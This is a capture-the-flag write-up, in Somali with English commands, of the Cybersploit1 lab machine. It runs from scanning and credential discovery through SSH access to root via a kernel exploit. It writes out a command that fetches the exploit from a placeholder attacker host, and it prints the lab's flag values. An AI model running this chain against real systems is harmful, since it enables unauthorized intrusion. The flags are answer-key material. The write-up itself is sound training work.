Cybersploit1 — Proving Grounds Write-up

Introduction

Assalaamu Calaykum Waraxmatullaahi Wabarakaatuh.

Write-up-kan waxaan ku falanqayn doonaa machine-ka Cybersploit1. Ujeeddadu ma aha oo keliya in la helo flags-ka, balse waa in la fahmo habka fikirka (methodology) ee loo maro marka la samaynayo penetration test ama CTF challenge.

Inta lagu guda jiro machine-kan waxaan adeegsan doonaa:

• Nmap
• Gobuster
• Base64 Decoding
• SSH Authentication
• Linux Enumeration
• Privilege Escalation Techniques

Attack Path Overview

Kahor inta aynaan bilaabin, aan eegno waddada guud ee weerarka:

1. Scan target-ka si loo ogaado services-ka furan.
2. Enumerate web application-ka.
3. Hel credentials ku qarsoon website-ka.
4. Gali SSH adigoo isticmaalaya credentials-ka la helay.
5. Enumerate Linux system-ka.
6. Aqoonso nuglaanshaha kernel-ka.
7. Hel root access.
8. Soo qaado proof flag.

Qorshahan guud wuxuu naga caawinayaa inaan si nidaamsan ugu soconno challenge-ka.

1. Reconnaissance & Scanning

Tallaabada ugu horreysa ee penetration testing ama CTF kasta waa in la ogaado adeegyada ku shaqaynaya target-ka. Haddii aynaan garanayn ports-ka furan iyo services-ka socda, ma ogaan karno meelaha laga bilaabi karo weerarka.

Sidaa darteed waxaan isticmaalay Nmap:

nmap -sV -A -T4 -oN nmap 192.168.157.92

Sharaxaadda Command-ka

• -sV → Wuxuu aqoonsadaa version-ka adeegyada socda.
• -A → Wuxuu sameeyaa OS detection, service detection, iyo script scanning.
• -T4 → Wuxuu dedejiyaa scan-ka.
• -oN nmap → Wuxuu natiijada ku kaydiyaa fayl la yiraahdo nmap.

Natiijada scan-ka waxay muujisay laba port oo furan:

22/tcp open ssh
80/tcp open http

Port 22 wuxuu muujinayaa in SSH service uu shaqaynayo, halka Port 80 uu tilmaamayo in web server uu socdo.

Marka la eego xaaladdan, maadaama aanan haysan credentials-ka SSH, web application-ka ayaa noqday meesha ugu horreysa ee aan ka bilaabay enumeration. Badanaa CTF-yada iyo Proving Grounds machines-ka waxay ku qariyaan xog muhiim ah website-ka sida usernames, passwords, comments ama directories qarsoon.

2. Web Enumeration

Markii aan helay in port 80 uu furan yahay, waxaan marka hore furay website-ka si aan u fahmo waxa uu bixiyo.

Boggu wuxuu ahaa mid aad u fudud, mana jirin wax muuqda oo si toos ah ii siinaya credentials ama login page. Sidaas darteed waxaan bilaabay in aan si qoto dheer u baaro.

Step 1: Checking Page Source (Ctrl + U)

Markii hore waxaan isku dayay in aan si toos ah u fahmo website-ka, laakiin wax muhiim ah kama helin interface-ka.

Markaas waxaan u wareegay view page source (Ctrl + U) si aan u arko haddii ay jiraan comments ama hidden information lagu reebay HTML-ka.

Halkaas ayaan ka helay comment qarsoon oo si toos ah u muujinaya username:

username: itsskv

Tani waxay ahayd tilmaam muhiim ah, sababtoo ah hadda waxaan haystay hal piece of credential ah (username), laakiin wali password lama hayo.

Step 2: Directory Enumeration with Gobuster

Kadib waxaan u wareegay directory enumeration si aan u ogaado pages ama files qarsoon.

Waxaan isticmaalay Gobuster:

gobuster dir -u http://192.168.157.92 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Natiijadu waxay muujisay laba path:

/index (Status: 200)
/robots (Status: 200)

Step 3: Testing /index First

Markii aan arkay /index,waxaan waa midki aan qeebta kore kuso arkenay oo an kaso helnay username ka

Sidaas darteed waxaan go'aansaday in aan sii wado enumeration-ka halkii aan ku dhegganaan lahaa index-ka.

Step 4: Investigating /robots

Markii aan furay /robots, waxaan isla markiiba arkay string u eg Base64 encoded data.

Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=

Step 5: Base64 Decoding

Maadaama Base64 uusan ahayn encryption balse uu yahay encoding, waxaan si degdeg ah u decode-gareeyey:

echo "Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=" | base64 -d

Output:

cybersploit{youtube.com/c/cybersploit}

Tani waxay ii noqotay password-ka SSH.

Step 6: Final Piece of the Puzzle

Hadda waxaan haystay labada muhiimka ah:

Username: itsskv
Password: cybersploit{youtube.com/c/cybersploit}

3. Gaining Access

Kadib markii aan sameeyay web enumeration, waxaan helay username iyo password aan u adeegsan karo SSH service-ka.

ssh itsskv@192.168.157.92

SSH (Secure Shell) waa adeeg loo isticmaalo in si ammaan ah loogu xirmo Linux systems meel fog. Maadaama port-ka 22 uu furnaa, helitaanka credentials sax ah waxay noo sahashay inaan si toos ah u galno machine-ka.

Markii aan login sameeyay, waxaan helay shell-ka user-ka itsskv.

itsskv@cybersploit-CTF:~$ ls
Desktop Documents Downloads examples.desktop flag2.txt local.txt Music Pictures Public Templates Videos

Waxaan markiiba bilaabay inaan baaro faylasha ku jira home directory-ga user-ka. Waxaa indhahayga qabtay laba fayl oo kala ah flag2.txt iyo local.txt.

Markii aan akhriyay flag2.txt, wuxuu tilmaamay in flag-ka dhabta ahi ku jiro fayl kale.

cat flag2.txt

Your flag is in another file...

Kadib waxaan akhriyay local.txt:

cat local.txt

304d950dcb282478aa3ba6c7c3e04750

Tani waxay ahayd user flag-ka, taasoo xaqiijisay inaan si guul leh u helnay initial access-ka machine-ka.

4. System Enumeration

Helitaanka shell-ka kaliya kuma filna challenge-ka. Si loo gaaro root access waa inaan si qoto dheer u baarnaa system-ka.

Waxaan marka hore hubiyay nooca operating system-ka:

cat /etc/issue

Output:

Ubuntu 12.04.5 LTS

Markii aan arkay Ubuntu 12.04.5 LTS, waxaan ogaaday inuu yahay operating system duug ah oo support-kiisu dhammaaday sannado badan ka hor. Systems-ka noocan ah badanaa waxay leeyihiin vulnerabilities la yaqaan oo u sahlaya attackers-ka inay sameeyaan privilege escalation.

Sidaas darteed waxaan sii waday baaritaanka kernel-ka iyo vulnerabilities-ka la xiriira version-kan Ubuntu.

5. Privilege Escalation

Intii lagu guda jiray enumeration-ka, waxaan ogaaday in kernel-ka machine-kan uu leeyahay nuglaansho la yaqaan oo u oggolaan karta user caadi ah inuu helo root privileges.

Markii aan helay exploit-ka ku habboon, waxaan u baahday inaan ku wareejiyo target-ka. Si taas loo sameeyo, waxaan ku kiciyay Python HTTP Server mashiinkayga weerarka.

python -m http.server 8001

Kadib target-ka ayaan exploit-ka uga soo dejiyay server-ka:

wget http://ATTACKER-IP:8001/37292.c

Markii download-ku dhammaaday, waxaan xaqiijiyay inuu faylku yimid.

ls

Waxaan arkay faylka 37292.c oo ah source code-ka exploit-ka.

Maadaama exploit-ku ku qornaa luuqadda C, waxaan u baahday inaan compile-gareeyo anigoo adeegsanaya GCC.

gcc 37292.c -o exploit

Tani waxay abuurtay executable la yiraahdo exploit.

Kadib waxaan fuliyay exploit-ka:

./exploit

Exploit-ku wuxuu ka faa'iidaysanayay nuglaansho ku jirtay Linux kernel-ka si uu kor ugu qaado privileges-ka user-ka caadiga ah.

Markii exploit-ku dhammaaday, waxaan hubiyay aqoonsiga user-ka:

id

Output:

uid=0(root) gid=0(root) groups=0(root),1001(itsskv)

Qiimaha uid=0 wuxuu caddeynayaa inaan hadda nahay root user, taasoo la micno ah inaan helnay maamulka buuxa ee machine-ka.

6. Root Access

Kadib markii aan helay root shell, waxaan u gudbay directory-ga root-ka.

cd /root
ls

Waxaan arkay faylasha:

finalflag.txt
proof.txt

Markii aan akhriyay proof.txt:

cat proof.txt

Output:

59542b454d065d9f9a478515a72d1c1b

Tani waxay ahayd proof flag-ka oo muujinaysa in machine-ka si buuxda loo compromise-gareeyay.

Ugu dambayn waxaan xaqiijiyay in challenge-ka si guul leh loo dhammeystiray anigoo helay root access iyo proof flag-ka.

Gunaanad

Qaybtan challenge-ku waxay na bartay dhowr arrimood oo muhiim ah:

• Helitaanka credentials sax ah waxay horseedi kartaa initial access degdeg ah.
• Enumeration waa tallaabada ugu muhiimsan privilege escalation.
• Operating systems-ka duugga ah waxay badanaa leeyihiin vulnerabilities la yaqaan.
• Fahamka kernel-ka iyo version-kiisa wuxuu door weyn ka ciyaaraa helitaanka root access.
• Privilege escalation guul leh waxay u baahan tahay baaritaan wanaagsan ka hor inta aan exploit la adeegsan.

Machine-kan wuxuu ahaa tusaale wanaagsan oo muujinaya sida xog yar oo laga helo web application ay ugu dambayn u horseedi karto helitaanka maamulka buuxa ee system-ka.